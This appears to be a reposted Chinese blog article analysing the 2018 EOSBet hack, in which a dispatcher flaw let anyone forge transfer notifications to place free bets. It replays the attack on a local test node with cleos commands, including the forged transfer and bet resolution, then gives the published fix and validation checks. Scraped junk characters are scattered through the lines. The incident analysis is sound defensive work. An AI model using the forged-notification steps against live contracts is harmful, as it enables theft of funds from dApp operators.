Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成
1 ]" h* W- `6 V$ V文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis  U% z2 A# J% [& f2 q# ]- K# D
0x00 背景5 w& v1 O; V7 g7 e5 C* X/ A
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
* c: E* U0 `+ k- @5 k0 _9 N* j% y0 h' D( Y, ~
0x01 技术分析
% b" {. }) k& r% H" w7 N( G由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
7 I. Z; A$ z% T/ ~7 ?, y  U// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers# y5 d7 D% Z6 R# g) o
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
& f! b1 P4 L, }extern "C" { \
* h+ ]8 x* \, u4 p9 y( X4 p        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \8 s# a3 U0 t3 n$ W2 h
                auto self = receiver; \
% f9 \6 `! }4 u% O/ `# T                if( action == N(onerror)) { \
8 k; w; M+ _0 g' |: T7 ~# H                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
0 _* `" c! a" M                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \; r! `, A- Z0 r( h9 u- E, L
                } \* @5 w: ^2 A& h* q# C
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
& h9 Z6 n. A0 Z" m) G8 z# S                        TYPE thiscontract( self ); \
# N* }+ y' h) Z# _3 |- B! `                        switch( action ) { \1 }3 B4 ^( x1 _: J5 q! U; ?
                                EOSIO_API( TYPE, MEMBERS ) \4 q2 i" [7 P% l; I! U0 S
                        } \- Z5 {: y: r! z
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \, g2 t2 G( @" C
                } \
$ B5 \2 g4 H& J3 u5 w7 M( ?        } \& j# F7 ]1 O1 A" H
}
# O+ Q4 S. Q. a0 i; R8 f, k通过官方给出的EOSIO_ABI,问题主要出在以下代码9 ~$ ?# b4 E9 d
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
  K) M" t4 _  m! I                        TYPE thiscontract( self ); \
+ o1 H" V8 e9 `& \                        switch( action ) { \
* N3 ?! a: l/ t; ?8 `6 }2 N                                EOSIO_API( TYPE, MEMBERS ) \
" |) Q3 O9 v4 @! Q- A7 P1 J                        } \
7 a" f: g7 r: Y5 J9 P+ P                }
  N  a7 R, S. h0 `8 [该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
  I* p% [8 `$ ~" g& {9 I但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。
/ }' M" w; o6 r* H8 b1 ^& v3 t黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。( r' s0 q0 j" k7 B1 z3 w: r$ |
0x02 攻击复盘7 ~9 s( U# q  I' E
创建eosio.token账户' z6 H) p- F" n
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
2 k4 J% c. h2 T( a5 }部署eosio.token合约并初始化# j6 o4 s0 G) q
# 部署合约
% _! o0 K- {% g# b5 ucleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
1 T! l4 O# P  m' D0 x" K0 i1 Y# 初始化合约
# ?5 L; N- H& U4 j% c5 h( mcleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
" g7 s8 t8 R$ }# @# v创建游戏账户、开奖账户和攻击者账户4 ]7 f% S' {7 T5 I
#创建游戏账户和开奖账户- p0 E+ u( l3 a4 B: f
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk9 m' H0 |6 \8 A2 ^
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
! W  r8 c) n6 g; p#创建攻击者账户! m+ z6 i% Y" z1 ?
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
6 `9 |# a4 k$ h6 L4 X" l/ O1 z设置账户随机权限和开奖权限
* U6 J4 T* \4 d5 p4 f8 ]2 u#设置权限
& }! {+ V+ u) j4 @, E5 vcleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
# ]  T% f# T* ~; {$ lcleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
! x. @+ Q, q5 N, D#设置开奖权限
2 k2 G  G. i* [6 W9 p8 jcleos set action permission eosbetcasino eosbetdice11 resolvebet random
: X% w: A# \; X2 _5 M1 ]向相关账户冲入代币
) e6 j2 E9 @. s3 M2 c, j, j& P#往相关账户充值
9 U% |  i/ k# J+ q8 |/ Z( Mcleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
2 K, E* I9 q2 g7 p0 gcleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
& Y% K0 b. a; x# i![4.png]()
7 S8 q9 Z/ p  r. }- e9 k3 Z5 d部署游戏合约并初始化! d" d6 ^* s) x2 O0 S8 w
#部署游戏合约
& l; r) P4 g. F: a! X* U  Xcleos set contract eosbetdice11 /home/user/contracts/eosbetdice
7 P) B- ^) K7 Q; ~+ e2 |#初始化游戏合约
6 J# ]& j( B! n+ |3 T& N% q! Xcleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino2 D; B" \5 Z6 E) t! S0 e
模拟黑客攻击(伪造转账通知)
; K: Z( [. k1 J# D* F$ qcleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
) j0 b3 I) \0 `6 P) A查询游戏订单
' ^. X2 p3 z: Q. [$ D' {+ ?& `cleos get table eosbetdice11 eosbetdice11 activebets# t* N: N$ t' q
9 [8 x/ k( y3 W5 X" ^
可见,游戏订单已经生成,查询attacker和eosbetdice11账户. t- w. |- q) r7 a7 T
9 z! W. `; A7 Z0 [0 v
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
  ~. b7 L8 G1 I" d& H/ j最后对该订单进行开奖。
) w  v6 U& @/ v. }: y8 [( {cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
! M  x( F! A' C0 B% D3 h; _+ U1 A! W; z+ s. E5 a; c! ?
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。* j" p9 E6 y. N
0x03 后记/ V# Y& u7 N  z! N/ @6 V% h  P
EOSBet随后将修复方案公开
5 [2 h% c, r& H1 l! c// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers* z) X. r) j2 h% n& e
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \/ x3 r/ y) ~# V! @7 c
extern "C" { \( l" Y& _$ P) c9 J% A3 B/ \- {
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
; u/ c5 g; R! D0 G9 U& t* ^                auto self = receiver; \' J: `/ _* d  [  C7 ~+ T. P
                if( code == self || code == N(eosio.token)) { \
9 E+ Y* f% K5 b% g                        if( action == N(transfer)){ \6 _& Q& l4 a% @
                                // 必须是eosio.token来调用合约自身的transfer函数8 U- m* z4 P7 b" K5 C7 j. ^, }) V
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \& W7 M5 ^& `# s: j( m/ R
                        } \; W& h7 r: F9 `( q; Z% P
                        TYPE thiscontract( self ); \( ^) J( k% \, }& {( M0 r# a4 w
                        switch( action ) { \
/ Y+ U' m2 p( v) U' w8 B                                EOSIO_API( TYPE, MEMBERS ) \' J; o7 m8 B1 T' q
                        } \
5 E; C# L& l$ `  x* N3 i                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
2 R7 P* ?: z4 w3 V                } \2 D( G& ~- M" N' Y
        } \/ g+ C4 P* h) }, e& ^
}+ y( x. D! w. r. w3 r
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
6 @" Y1 i& @* _! O9 {+ j; S+ M5 R0 S0x04 修复方案& V# Q% n) f; }0 j" U
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
) U/ ~5 P8 T% B) [3 v/ c  R3 h) E9 C; ]# w
通知是否来自eosio.token,即只处理eosio.token发送的通知: M. V& W, I' j4 l! [
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");6 T9 q( Y5 j/ B3 T" H0 U7 L
1 s9 ^- p! m! _4 K4 o
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知6 n$ \! {6 t7 A/ O6 L' {5 O" V: I
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10